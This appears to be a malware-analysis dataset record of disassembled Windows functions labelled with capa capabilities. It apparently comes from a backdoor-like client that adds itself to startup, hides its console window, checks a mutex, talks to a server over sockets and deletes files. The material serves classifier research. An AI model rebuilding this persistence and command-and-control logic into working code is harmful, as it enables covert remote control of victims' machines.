joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000186d
Capabilities:
Query environment variable

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], rcx
mov dword [rbp + 0xbc], 0x104
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov edx, dword [rbp + 0xbc]
lea rax, [rbp - 0x60]
mov r8d, edx
mov rdx, rax
lea rax, str.APPDATA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
sete al
test al, al
je 0x14000191a
lea rax, [rbp + 0xa6]
mov qword [rbp + 0xb0], rax
nop
nop
lea rdx, [rbp + 0xa6]
mov rax, qword [rbp + 0xe0]
mov r8, rdx
lea rdx, [0x14009b00c]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xa6]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140001994
lea rax, [rbp + 0xa7]
mov qword [rbp + 0xa8], rax
nop
nop
lea rdx, [rbp + 0xa7]
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xe0]
mov r8, rdx
mov rdx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xa7]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140001994
mov rax, qword [rbp + 0xe0]
add rsp, 0x140
pop rbx
pop rdi
pop rbp
ret

Function at 0x1400019a6
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov qword [rbp + 0x20], rcx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov ebx, eax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
mov rdx, rax
mov rax, qword [0x1400bc160]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
nop
add rsp, 0x28
pop rbx
pop rbp
ret
Function at 0x1400019f6
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov dword [rbp + 0x28], edx
cmp dword [rbp + 0x28], 1
jne 0x140001a57
lea rax, [rbp - 0x12]
mov qword [rbp - 8], rax
nop
nop
lea rdx, [rbp - 0x12]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.success
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x12]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov r8d, 0x4000
mov edx, 0
lea rax, [0x1400bc180]
mov rcx, rax
call sym.memset
mov rax, qword [0x1400bc160]
mov r9d, 0
mov r8d, 0x4000
lea rdx, [0x1400bc180]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x11]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400bc180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x11]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x140001b11
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x140001b1c
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11.to_string_unsigned_long_long_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
mov rdx, rax
mov rax, qword [0x1400bc160]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x20]
mov edx, 0
mov rcx, rax
call sym.recv_abi:cxx11__int_
lea rax, [rbp - 0x20]
lea rdx, str.success
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov ebx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140001bee
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov ebx, eax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
mov rdx, rax
mov rax, qword [0x1400bc160]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001c28
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x140001c2f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], rcx
mov dword [rbp + 0x28], edx
mov dword [rbp + 0x30], r8d
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140088e80
cmp dword [rbp + 0x30], 1
jne 0x140001d29
lea rax, [rbp - 0x1a]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x1a]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.success
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x1a]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x140001d29
mov rax, qword [0x1400bc160]
mov r9d, 0
mov r8d, 0x4000
lea rdx, [0x1400bc180]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x1400bc180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.append_char_const__unsigned_long_long_
cmp dword [rbp - 4], 0
jne 0x140001d29
lea rax, [rbp - 0x19]
mov qword [rbp - 0x18], rax
nop
nop
lea rdx, [rbp - 0x19]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, str.error
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x19]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140001d5b
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
mov rdx, rax
mov eax, dword [rbp + 0x28]
cdqe
cmp rdx, rax
setb al
test al, al
jne 0x140001cac
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x20]
mov rdx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001db8
mov rax, qword [rbp + 0x20]
add rsp, 0x88
pop rbx
pop rbp
ret
Function at 0x140001dc6
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [0x1400bc040]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov qword [rbp - 0x20], rax
jmp 0x140001e31
lea rax, [rbp - 0x18]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
test eax, eax
lea rax, [rbp - 0x18]
mov rcx, rax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x18]
mov rcx, rax
call sym._ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EES
test al, al
jne 0x140001dfb
lea rax, [0x1400bc040]
mov rcx, rax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.clear__
nop
add rsp, 0x40
pop rbp
ret
Function at 0x1400043ef
Capabilities:
Check mutex on windows
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call sym.__main
call sym.addToStartupRegistry__
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov r8d, 0x104
lea rax, [0x1400bc180]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [0x1400bc180]
mov rdx, rax
lea rax, [0x1400bc140]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
mov r8, 0xffffffffffffffff
lea rax, [0x14009b55d]
mov rdx, rax
lea rax, [0x1400bc140]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char_const__unsigned_long_long__const
lea rdx, [rax + 1]
lea rax, [rbp - 0x20]
mov r9, 0xffffffffffffffff
mov r8, rdx
lea rdx, [0x1400bc140]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp - 0x20]
mov rdx, rax
lea rax, [0x1400bc120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [0x1400bc120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x14000450e
mov eax, 1
jmp 0x140004518
call sym.Client__
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x14000e720
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x14000e790
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400c0204]
test esi, esi
mov rbx, rcx
jle 0x14000e8c0
mov rax, qword [0x1400c0208]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000e7db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000e865
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000e7c0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x14000e8e2
mov rax, qword [0x1400c0208]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400c0208]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000e8c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000e85e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000e870
add dword [0x1400c0204], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400c0208]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000e85e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x14000e7e8
mov rax, qword [0x1400c0208]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000ee50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400c0260]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400c0240]
test rbx, rbx
je 0x14000eeac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000eea3
test rsi, rsi
je 0x14000eea3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000ee88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000f0c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x14000f0d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x14000f0e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000f0f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000f100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000f110
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x14000f15d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x14000f154
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000f15f
add rax, 0x28
cmp rax, r9
jne 0x14000f140
xor eax, eax
ret

Function at 0x14000f160
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x14000f1f0
mov rdx, qword [0x1400a0690]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000f1de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000f1de
cmp word [rax + 0x18], 0x20b
jne 0x14000f1de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x14000f1f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x14000f1c9
add rbx, 0x28
cmp rbx, rdi
je 0x14000f1f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x14000f1c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x14000f200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400a0690]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000f220
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000f228
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000f220
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000f27d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000f274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000f220
add rax, 0x28
cmp rax, r9
jne 0x14000f260
xor eax, eax
ret

Function at 0x14000f280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a0690]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000f29f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000f2a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000f29f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x14000f2c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400a0690]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14000f2e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14000f2e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14000f2e0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x14000f330
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000f327
test rcx, rcx
je 0x14000f2e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x14000f318
xor eax, eax
ret

Function at 0x14000f340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a0690]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000f35f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000f368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14000f380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400a0690]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000f3a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000f3a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000f3a0
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x14000f3a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x14000f3f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000f400
add rdx, 0x28
cmp r9, rdx
jne 0x14000f3e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x14000f410
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400a0690]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x14000f432
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x14000f440
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000f432
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x14000f432
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x14000f432
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x14000f495
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x14000f4a8
add rdx, 0x28
cmp rdx, r10
jne 0x14000f480
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000f4b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000f4c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000f49e
test ecx, ecx
jg 0x14000f4b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x14000f790
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x14000f7c0
mov rdx, rbx
mov ecx, eax
mov dword [rsi], eax
add rsp, 0x28
pop rbx
pop rsi
jmp sym.__mingwthr_key_dtor
add rsp, 0x28
pop rbx
pop rsi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x14000f800
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ebx
mov esi, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, esi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x14000f830
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000f848
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]